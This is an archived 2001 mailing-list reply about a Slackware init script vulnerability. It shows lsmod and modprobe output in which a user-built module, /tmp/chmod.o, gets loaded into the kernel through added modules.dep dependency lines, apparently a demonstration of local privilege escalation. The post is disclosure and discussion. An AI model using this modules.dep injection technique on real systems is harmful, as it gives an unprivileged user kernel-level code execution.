Re: 2.4.x/Slackware Init script vulnerability

From: joshat_private
Date: Mon Jul 16 2001 - 19:33:02 PDT

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    # lsmod
Module                  Size  Used by
chmod                    656   0  (unused)
pcmcia_core            41792   0
ppp_deflate            39008   0  (unused)
ppp_async               6864   0  (unused)
ppp_generic            19280   0  [ppp_deflate ppp_async]
slip                    8416   0  (unused)
parport_pc             19312   0
parport                23776   0  [parport_pc]
# ls -l chmod.o
-rw-r--r--    1 josh     users        1488 Jul 17 08:28 chmod.o
# modprobe lp
# lsmod
Module                  Size  Used by
lp                      6096   0  (unused)
chmod                    656   0  (unused)
pcmcia_core            41792   0
ppp_deflate            39008   0  (unused)
ppp_async               6864   0  (unused)
ppp_generic            19280   0  [ppp_deflate ppp_async]
slip                    8416   0  (unused)
parport_pc             19312   1
parport                23776   1  [lp parport_pc]
#

Lines in /lib/modules/`uname -r`/modules.dep:

/lib/modules/2.4.5/kernel/drivers/char/lp.o:    /tmp/chmod.o

/tmp/chmod.o:

My Modprobe version:
# modprobe -V
modprobe version 2.4.6
modprobe: Nothing to load ???
Specify at least a module or a wildcard like \*
#

    This archive was generated by hypermail 2b30 : Mon Jul 16 2001 - 22:39:25 PDT